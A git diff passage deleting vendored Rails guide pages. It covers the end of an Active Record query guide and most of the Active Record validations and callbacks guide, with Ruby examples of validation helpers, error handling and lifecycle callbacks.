Remember that named scopes are stackable, so you will be able to do Client.recent(2.weeks.ago).unlocked.all to find all clients created between right now and 2 weeks ago and have their locked field set to false.

-

16.6. Anonymous Scopes

-

All Active Record models come with a named scope named scoped, which allows you to create anonymous scopes. For example:

-
-
-
class Client < ActiveRecord::Base
-  def self.recent
-    scoped :conditions => ["created_at > ?", 2.weeks.ago]
-  end
-end
-

Anonymous scopes are most useful to create scopes "on the fly":

-
-
-
Client.scoped(:conditions => { :gender => "male" })
-

Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.

-
-

17. Existence of Objects

-
-

If you simply want to check for the existence of the object there’s a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false+.

-
-
-
Client.exists?(1)
-

The exists? method also takes multiple ids, but the catch is that it will return true if any one of those records exists.

-
-
-
Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
-

Further more, exists takes a conditions option much like find:

-
-
-
Client.exists?(:conditions => "first_name = 'Ryan'")
-
-

18. Calculations

-
-

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

-

count takes conditions much in the same way exists? does:

-
-
-
Client.count(:conditions => "first_name = 'Ryan'")
-

Which will execute:

-
-
-
SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-

You can also use :include or :joins for this to do something a little more complex:

-
-
-
Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
-

Which will execute:

-
-
-
SELECT count(DISTINCT clients.id) AS count_all FROM clients
-  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
-  (clients.first_name = 'Ryan' AND orders.status = 'received')
-

This code specifies clients.first_name just in case one of the join tables has a field also called first_name and it uses orders.status because that’s the name of our join table.

-

18.1. Count

-

If you want to see how many records are in your model’s table you could call Client.count and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use Client.count(:age).

-

For options, please see the parent section, Calculations.

-

18.2. Average

-

If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:

-
-
-
Client.average("orders_count")
-

This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.

-

For options, please see the parent section, Calculations.

-

18.3. Minimum

-

If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:

-
-
-
Client.minimum("age")
-

For options, please see the parent section, Calculations

-

18.4. Maximum

-

If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:

-
-
-
Client.maximum("age")
-

For options, please see the parent section, Calculations

-

18.5. Sum

-

If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:

-
-
-
Client.sum("orders_count")
-

For options, please see the parent section, Calculations

-
-

19. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -December 29 2008: Initial version by Ryan Bigg -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html deleted file mode 100644 index be556283..00000000 --- a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html +++ /dev/null @@ -1,1231 +0,0 @@ - - - - - Active Record Validations and Callbacks - - - - - - - - -
- - - -
-

Active Record Validations and Callbacks

-
-
-

This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.

-

After reading this guide and trying out the presented concepts, we hope that you’ll be able to:

-
    -
  • -

    -Use the built-in Active Record validation helpers -

    -
    • -
  • -

    -Create your own custom validation methods -

    -
    • -
  • -

    -Work with the error messages generated by the validation process -

    -
    • -
  • -

    -Create callback methods to respond to events in the object lifecycle. -

    -
    • -
  • -

    -Create special classes that encapsulate common behavior for your callbacks -

    -
    • -
  • -

    -Create Rails Observers -

    -
    • -
-
-
-

1. Overview of ActiveRecord Validation

-
-

Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?

-

1.1. Why Use ActiveRecord Validations?

-

The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It’s important to be sure that an email address column only contains valid email addresses, or that the customer’s name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.

-

There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:

-
    -
  • -

    -Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level. -

    -
    • -
  • -

    -Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user’s browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data. -

    -
    • -
  • -

    -Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it’s also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods. -

    -
    • -
-

1.2. When Does Validation Happen?

-

There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the new method, that object does not belong to the database yet. Once you call save upon that object it will be saved into the appropriate database table. Active Record uses the new_record? instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:

-
-
-
class Person < ActiveRecord::Base
-end
-

We can see how it works by looking at some script/console output:

-
-
-
>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
-=> #<Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-
-

Saving new records means sending an SQL INSERT operation to the database, while saving existing records (by calling either save or update_attributes) will result in a SQL UPDATE operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you’re creating a new record or when you’re updating an existing one.

-
- - - -
-Caution -There are four methods that when called will trigger validation: save, save!, update_attributes and update_attributes!. There is one update method for Active Record objects left, which is update_attribute. This method will update the value of an attribute without triggering any validation. Be careful when using update_attribute, because it can let you save your objects in an invalid state.
-
-

1.3. The Meaning of valid

-

To verify whether an object is valid, Active Record uses the valid? method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the errors instance method. The process is really simple: If the errors method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the errors collection.

-
-

2. The Declarative Validation Helpers

-
-

Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object’s errors collection, and this message is associated with the field being validated.

-

Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.

-

All these helpers accept the :on and :message options, which define when the validation should be applied and what message should be added to the errors collection when it fails, respectively. The :on option takes one of the values :save (the default), :create or :update. There is a default error message for each one of the validation helpers. These messages are used when the :message option isn’t used. Let’s take a look at each one of the available helpers.

-

2.1. The validates_acceptance_of helper

-

Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application’s terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this acceptance does not need to be recorded anywhere in your database (if you don’t have a field for it, the helper will just create a virtual attribute).

-
-
-
class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service
-end
-

The default error message for validates_acceptance_of is "must be accepted"

-

validates_acceptance_of can receive an :accept option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.

-
-
-
class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service, :accept => 'yes'
-end
-

2.2. The validates_associated helper

-

You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, valid? will be called upon each one of the associated objects.

-
-
-
class Library < ActiveRecord::Base
-  has_many :books
-  validates_associated :books
-end
-

This validation will work with all the association types.

-
- - - -
-Caution -Don’t use validates_associated on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
-
-

The default error message for validates_associated is "is invalid". Note that each associated object will contain its own errors collection; errors do not bubble up to the calling model.

-

2.3. The validates_confirmation_of helper

-

You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with _confirmation appended.

-
-
-
class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-end
-

In your view template you could use something like

-
-
-
<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-
- - - -
-Note -This check is performed only if email_confirmation is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we’ll take a look at validates_presence_of later on this guide):
-
-
-
-
class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-  validates_presence_of :email_confirmation
-end
-

The default error message for validates_confirmation_of is "doesn’t match confirmation"

-

2.4. The validates_exclusion_of helper

-

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

-
-
-
class MovieFile < ActiveRecord::Base
-  validates_exclusion_of :format, :in => %w(mov avi),
-    :message => "Extension %s is not allowed"
-end
-

The validates_exclusion_of helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you’d like to. This example uses the :message option to show how you can personalize it with the current attribute’s value, through the %s format mask.

-

The default error message for validates_exclusion_of is "is not included in the list".

-

2.5. The validates_format_of helper

-

This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the :with option.

-
-
-
class Product < ActiveRecord::Base
-  validates_format_of :description, :with => /^[a-zA-Z]+$/,
-    :message => "Only letters allowed"
-end
-

The default error message for validates_format_of is "is invalid".

-

2.6. The validates_inclusion_of helper

-

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

-
-
-
class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large),
-    :message => "%s is not a valid size"
-end
-

The validates_inclusion_of helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you’d like to. The previous example uses the :message option to show how you can personalize it with the current attribute’s value, through the %s format mask.

-

The default error message for validates_inclusion_of is "is not included in the list".

-

2.7. The validates_length_of helper

-

This helper validates the length of your attribute’s value. It includes a variety of different options, so you can specify length constraints in different ways:

-
-
-
class Person < ActiveRecord::Base
-  validates_length_of :name, :minimum => 2
-  validates_length_of :bio, :maximum => 500
-  validates_length_of :password, :in => 6..20
-  validates_length_of :registration_number, :is => 6
-end
-

The possible length constraint options are:

-
    -
  • -

    -:minimum - The attribute cannot have less than the specified length. -

    -
    • -
  • -

    -:maximum - The attribute cannot have more than the specified length. -

    -
    • -
  • -

    -:in (or :within) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. -

    -
    • -
  • -

    -:is - The attribute length must be equal to a given value. -

    -
    • -
-

The default error messages depend on the type of length validation being performed. You can personalize these messages, using the :wrong_length, :too_long and :too_short options and the %d format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the :message option to specify an error message.

-
-
-
class Person < ActiveRecord::Base
-  validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
-end
-

The validates_size_of helper is an alias for validates_length_of.

-

2.8. The validates_numericality_of helper

-

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the :integer_only option set to true, you can specify that only integral numbers are allowed.

-

If you set :integer_only to true, then it will use the $$/\A[\-]?\d+\Z/ regular expression to validate the attribute’s value. Otherwise, it will try to convert the value to a number using +Kernel.Float.

-
-
-
class Player < ActiveRecord::Base
-  validates_numericality_of :points
-  validates_numericality_of :games_played, :only_integer => true
-end
-

Besides :only_integer, the validates_numericality_of helper also accepts the following options to add constraints to acceptable values:

-
    -
  • -

    -:greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is "must be greater than (value)" -

    -
    • -
  • -

    -:greater_than_or_equal_to - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "must be greater than or equal to (value)" -

    -
    • -
  • -

    -:equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is "must be equal to (value)" -

    -
    • -
  • -

    -:less_than - Specifies the value must be less than the supplied value. The default error message for this option is "must e less than (value)" -

    -
    • -
  • -

    -:less_than_or_equal_to - Specifies the value must be less than or equal the supplied value. The default error message for this option is "must be less or equal to (value)" -

    -
    • -
  • -

    -:odd - Specifies the value must be an odd number if set to true. The default error message for this option is "must be odd" -

    -
    • -
  • -

    -:even - Specifies the value must be an even number if set to true. The default error message for this option is "must be even" -

    -
    • -
-

The default error message for validates_numericality_of is "is not a number".

-

2.9. The validates_presence_of helper

-

This helper validates that the specified attributes are not empty. It uses the blank? method to check if the value is either nil or an empty string (if the string has only spaces, it will still be considered empty).

-
-
-
class Person < ActiveRecord::Base
-  validates_presence_of :name, :login, :email
-end
-
- - - -
-Note -If you want to be sure that an association is present, you’ll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-
-
-
-
class LineItem < ActiveRecord::Base
-  belongs_to :order
-  validates_presence_of :order_id
-end
-
- - - -
-Note -If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
-
-

The default error message for validates_presence_of is "can’t be empty".

-

2.10. The validates_uniqueness_of helper

-

This helper validates that the attribute’s value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.

-
-
-
class Account < ActiveRecord::Base
-  validates_uniqueness_of :email
-end
-

The validation happens by performing a SQL query into the model’s table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.

-

There is a :scope option that you can use to specify other attributes that are used to limit the uniqueness check:

-
-
-
class Holiday < ActiveRecord::Base
-  validates_uniqueness_of :name, :scope => :year,
-    :message => "Should happen once per year"
-end
-

There is also a :case_sensitive option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.

-
-
-
class Person < ActiveRecord::Base
-  validates_uniqueness_of :name, :case_sensitive => false
-end
-

The default error message for validates_uniqueness_of is "has already been taken".

-

2.11. The validates_each helper

-

This helper validates attributes against a block. It doesn’t have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don’t want names and surnames to begin with lower case.

-
-
-
class Person < ActiveRecord::Base
-  validates_each :name, :surname do |model, attr, value|
-    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
-  end
-end
-

The block receives the model, the attribute’s name and the attribute’s value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.

-
-

3. Common Validation Options

-
-

There are some common options that all the validation helpers can use. Here they are, except for the :if and :unless options, which are discussed later in the conditional validation topic.

-

3.1. The :allow_nil option

-

The :allow_nil option skips the validation when the value being validated is nil. You may be asking yourself if it makes any sense to use :allow_nil and validates_presence_of together. Well, it does. Remember, the validation will be skipped only for nil attributes, but empty strings are not considered nil.

-
-
-
class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large),
-    :message => "%s is not a valid size", :allow_nil => true
-end
-

3.2. The :allow_blank option

-

The :allow_blank: option is similar to the +:allow_nil option. This option will let validation pass if the attribute’s value is nil or an empty string, i.e., any value that returns true for blank?.

-
-
-
class Topic < ActiveRecord::Base
-  validates_length_of :title, :is => 5, :allow_blank => true
-end
-
-Topic.create("title" => "").valid? # => true
-Topic.create("title" => nil).valid? # => true
-

3.3. The :message option

-

As you’ve already seen, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.

-

3.4. The :on option

-

The :on option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you’re creating a new record and when you’re updating it). If you want to change it, you can use :on => :create to run the validation only when a new record is created or :on => :update to run the validation only when a record is updated.

-
-
-
class Person < ActiveRecord::Base
-  # => it will be possible to update email with a duplicated value
-  validates_uniqueness_of :email, :on => :create
-
-  # => it will be possible to create the record with a 'non-numerical age'
-  validates_numericality_of :age, :on => :update
-
-  # => the default (validates on both create and update)
-  validates_presence_of :name, :on => :save
-end
-
-

4. Conditional validation

-
-

Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

-

4.1. Using a symbol with the :if and :unless options

-

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

-
-
-
class Order < ActiveRecord::Base
-  validates_presence_of :card_number, :if => :paid_with_card?
-
-  def paid_with_card?
-    payment_type == "card"
-  end
-end
-

4.2. Using a string with the :if and :unless options

-

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

-
-
-
class Person < ActiveRecord::Base
-  validates_presence_of :surname, :if => "name.nil?"
-end
-

4.3. Using a Proc object with the :if and :unless options

-

Finally, it’s possible to associate :if and :unless with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.

-
-
-
class Account < ActiveRecord::Base
-  validates_confirmation_of :password,
-    :unless => Proc.new { |a| a.password.blank? }
-end
-
-

5. Writing your own validation methods

-
-

When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their errors collection when they are invalid. You must then register those methods by using one or more of the validate, validate_on_create or validate_on_update class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.

-
-
-
class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past,
-    :discount_cannot_be_more_than_total_value
-
-  def expiration_date_cannot_be_in_the_past
-    errors.add(:expiration_date, "can't be in the past") if
-      !expiration_date.blank? and expiration_date < Date.today
-  end
-
-  def discount_cannot_be_greater_than_total_value
-    errors.add(:discount, "can't be greater than total value") unless
-      discount <= total_value
-  end
-end
-

You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:

-
-
-
module ActiveRecord
-  module Validations
-    module ClassMethods
-      def validates_email_format_of(value)
-        validates_format_of value,
-          :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/,
-          :if => Proc.new { |u| !u.email.blank? },
-          :message => "Invalid format for email address"
-      end
-    end
-  end
-end
-

The recipe is simple: just create a new validation method inside the ActiveRecord::Validations::ClassMethods module. You can put this code in a file inside your application’s lib folder, and then requiring it from your environment.rb or any other file inside config/initializers. You can use this helper like this:

-
-
-
class Person < ActiveRecord::Base
-  validates_email_format_of :email_address
-end
-
-

6. Manipulating the errors collection

-
-

You can do more than just call valid? upon your objects based on the existance of the errors collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object’s state.

-
    -
  • -

    -add_to_base lets you add errors messages that are related to the object’s state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it’s attributes. add_to_base receives a string with the message. -

    -
    • -
-
-
-
class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors.add_to_base("This person is invalid because ...")
-  end
-end
-
    -
  • -

    -add lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. add receives a symbol with the name of the attribute that you want to add the message to and the message itself. -

    -
    • -
-
-
-
class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors.add(:name, "can't have the characters !@#$%*()_-+=")
-  end
-end
-
    -
  • -

    -invalid? is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check. -

    -
    • -
-
-
-
class Person < ActiveRecord::Base
-  validates_presence_of :name, :email
-end
-
-person = Person.new(:name => "John Doe")
-person.invalid?(:email) # => true
-
    -
  • -

    -on is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the errors collection for the given attribute. If there are no errors related to the attribute, on will return nil. If there is just one errors message for this attribute, on will return a string with the message. When errors holds two or more error messages for the attribute, on will return an array of strings, each one with one error message. -

    -
    • -
-
-
-
class Person < ActiveRecord::Base
-  validates_presence_of :name
-  validates_length_of :name, :minimum => 3
-end
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors.on(:name) # => nil
-
-person = Person.new(:name => "JD")
-person.valid? # => false
-person.errors.on(:name)
-# => "is too short (minimum is 3 characters)"
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-
    -
  • -

    -clear is used when you intentionally want to clear all the messages in the errors collection. However, calling errors.clear upon an invalid object won’t make it valid: the errors collection will now be empty, but the next time you call valid? or any method that tries to save this object to the database, the validations will run. If any of them fails, the errors collection will get filled again. -

    -
    • -
-
-
-
class Person < ActiveRecord::Base
-  validates_presence_of :name
-  validates_length_of :name, :minimum => 3
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-p.save # => false
-p.errors.on(:name)
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-

7. Using the errors collection in your view templates

-
-

Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.

-
-
-
class Product < ActiveRecord::Base
-  validates_presence_of :description, :value
-  validates_numericality_of :value, :allow_nil => true
-end
-
-
-
<% form_for(@product) do |f| %>
-  <%= f.error_messages %>
-  <p>
-    <%= f.label :description %><br />
-    <%= f.text_field :description %>
-  </p>
-  <p>
-    <%= f.label :value %><br />
-    <%= f.text_field :value %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-
-
-
-Error messages -
-
-

You can also use the error_messages_for helper to display the error messages of a model assigned to a view template. It’s very similar to the previous example and will achieve exactly the same result.

-
-
-
<%= error_messages_for :product %>
-
-

The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.

-

Both the form.error_messages and the error_messages_for helpers accept options that let you customize the div element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.

-
-
-
<%= f.error_messages :header_message => "Invalid product!",
-  :message => "You'll need to fix the following fields:",
-  :header_tag => :h3 %>
-
-

Which results in the following content

-
-
-Customized error messages -
-
-

If you pass nil to any of these options, it will get rid of the respective section of the div.

-

It’s also possible to change the CSS classes used by the error_messages helper. These classes are automatically defined at the scaffold.css file, generated by the scaffold script. If you’re not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.

-
    -
  • -

    -.fieldWithErrors - Style for the form fields with errors. -

    -
    • -
  • -

    -#errorExplanation - Style for the div element with the error messages. -

    -
    • -
  • -

    -#errorExplanation h2 - Style for the header of the div element. -

    -
    • -
  • -

    -#errorExplanation p - Style for the paragraph that holds the message that appears right below the header of the div element. -

    -
    • -
  • -

    -#errorExplanation ul li - Style for the list of error messages. -

    -
    • -
-

7.1. Changing the way form fields with errors are displayed

-

By default, form fields with errors are displayed enclosed by a div element with the fieldWithErrors CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a span element with a validation-error CSS class. There will be no div element enclosing the input element, so we get rid of that red border around the text field. You can use the validation-error CSS class to style it anyway you want.

-
-
-
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
-  if instance.error_message.kind_of?(Array)
-    %(#{html_tag}<span class='validation-error'>&nbsp;
-      #{instance.error_message.join(',')}</span>)
-  else
-    %(#{html_tag}<span class='validation-error'>&nbsp;
-      #{instance.error_message}</span>)
-  end
-end
-

This will result in something like the following content:

-
-
-Validation error messages -
-
-

The way form fields with errors are treated is defined by the ActionView::Base.field_error_proc Ruby Proc. This Proc receives two parameters:

-
    -
  • -

    -A string with the HTML tag -

    -
    • -
  • -

    -An object of the ActionView::Helpers::InstanceTag class. -

    -
    • -
-
-

8. Callbacks

-
-

Callbacks are methods that get called at certain moments of an object’s lifecycle. With callbacks it’s possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.

-

8.1. Callbacks registration

-

In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.

-
-
-
class User < ActiveRecord::Base
-  validates_presence_of :login, :email
-
-  before_validation :ensure_login_has_a_value
-
-  protected
-  def ensure_login_has_a_value
-    if self.login.nil?
-      self.login = email unless email.blank?
-    end
-  end
-end
-

The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.

-
-
-
class User < ActiveRecord::Base
-  validates_presence_of :login, :email
-
-  before_create {|user| user.name = user.login.capitalize if user.name.blank?}
-end
-
- - - -
-Caution -Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.
-
-
-

9. Conditional callbacks

-
-

Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the callback should get called. If you want to specify when the callback should not be called, then you may use the :unless option.

-

9.1. Using a symbol with the :if and :unless options

-

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns false the callback won’t be executed. This is the most common option. Using this form of registration it’s also possible to register several different methods that should be called to check the if the callback should be executed.

-
-
-
class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => :paid_with_card?
-end
-

9.2. Using a string with the :if and :unless options

-

You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

-
-
-
class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => "paid_with_card?"
-end
-

9.3. Using a Proc object with the :if and :unless options

-

Finally, it’s possible to associate :if and :unless with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.

-
-
-
class Order < ActiveRecord::Base
-  before_save :normalize_card_number,
-    :if => Proc.new { |order| order.paid_with_card? }
-end
-

9.4. Multiple Conditions for Callbacks

-

When writing conditional callbacks, it’s possible to mix both :if and :unless in the same callback declaration.

-
-
-
class Comment < ActiveRecord::Base
-  after_create :send_email_to_author, :if => :author_wants_emails?,
-    :unless => Proc.new { |comment| comment.post.ignore_comments? }
-end
-
-

10. Available callbacks

-
-

Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.

-

10.1. Callbacks called both when creating or updating a record.

-
    -
  • -

    -before_validation -

    -
    • -
  • -

    -after_validation -

    -
    • -
  • -

    -before_save -

    -
    • -
  • -

    -INSERT OR UPDATE OPERATION -

    -
    • -
  • -

    -after_save -

    -
    • -
-

10.2. Callbacks called only when creating a new record.

-
    -
  • -

    -before_validation_on_create -

    -
    • -
  • -

    -after_validation_on_create -

    -
    • -
  • -

    -before_create -

    -
    • -
  • -

    -INSERT OPERATION -

    -
    • -
  • -

    -after_create -

    -
    • -
-

10.3. Callbacks called only when updating an existing record.

-
    -
  • -

    -before_validation_on_update -

    -
    • -
  • -

    -after_validation_on_update -

    -
    • -
  • -

    -before_update -

    -
    • -
  • -

    -UPDATE OPERATION -

    -
    • -
  • -

    -after_update -

    -
    • -
-

10.4. Callbacks called when removing a record from the database.

-
    -
  • -

    -before_destroy -

    -
    • -
  • -

    -DELETE OPERATION -

    -
    • -
  • -

    -after_destroy -

    -
    • -
-

The before_destroy and after_destroy callbacks will only be called if you delete the model using either the destroy instance method or one of the destroy or destroy_all class methods of your Active Record class. If you use delete or delete_all no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.

-

10.5. The after_initialize and after_find callbacks

-

The after_initialize callback will be called whenever an Active Record object is instantiated, either by direcly using new or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record initialize method.

-

The after_find callback will be called whenever Active Record loads a record from the database. When used together with after_initialize it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.

-

The after_initialize and after_find callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register after_initialize or after_find using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since after_initialize and after_find will both be called for each record found in the database, significantly slowing down the queries.

-
-

11. Halting Execution

-
-

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model’s validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the before_create, before_save, before_update or before_destroy callback methods returns a boolean false (not nil) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It’s because the whole callback chain is wrapped in a transaction, so raising an exception or returning false fires a database ROLLBACK.

-
-

12. Callback classes

-
-

Sometimes the callback methods that you’ll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.

-

Here’s an example where we create a class with a after_destroy callback for a PictureFile model.

-
-
-
class PictureFileCallbacks
-  def after_destroy(picture_file)
-    File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
-  end
-end
-

When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:

-
-
-
class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks.new
-end
-

Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.

-
-
-
class PictureFileCallbacks
-  def self.after_destroy(picture_file)
-    File.delete(picture_file.filepath) if File.exists?(picture_file.filepath)
-  end
-end
-

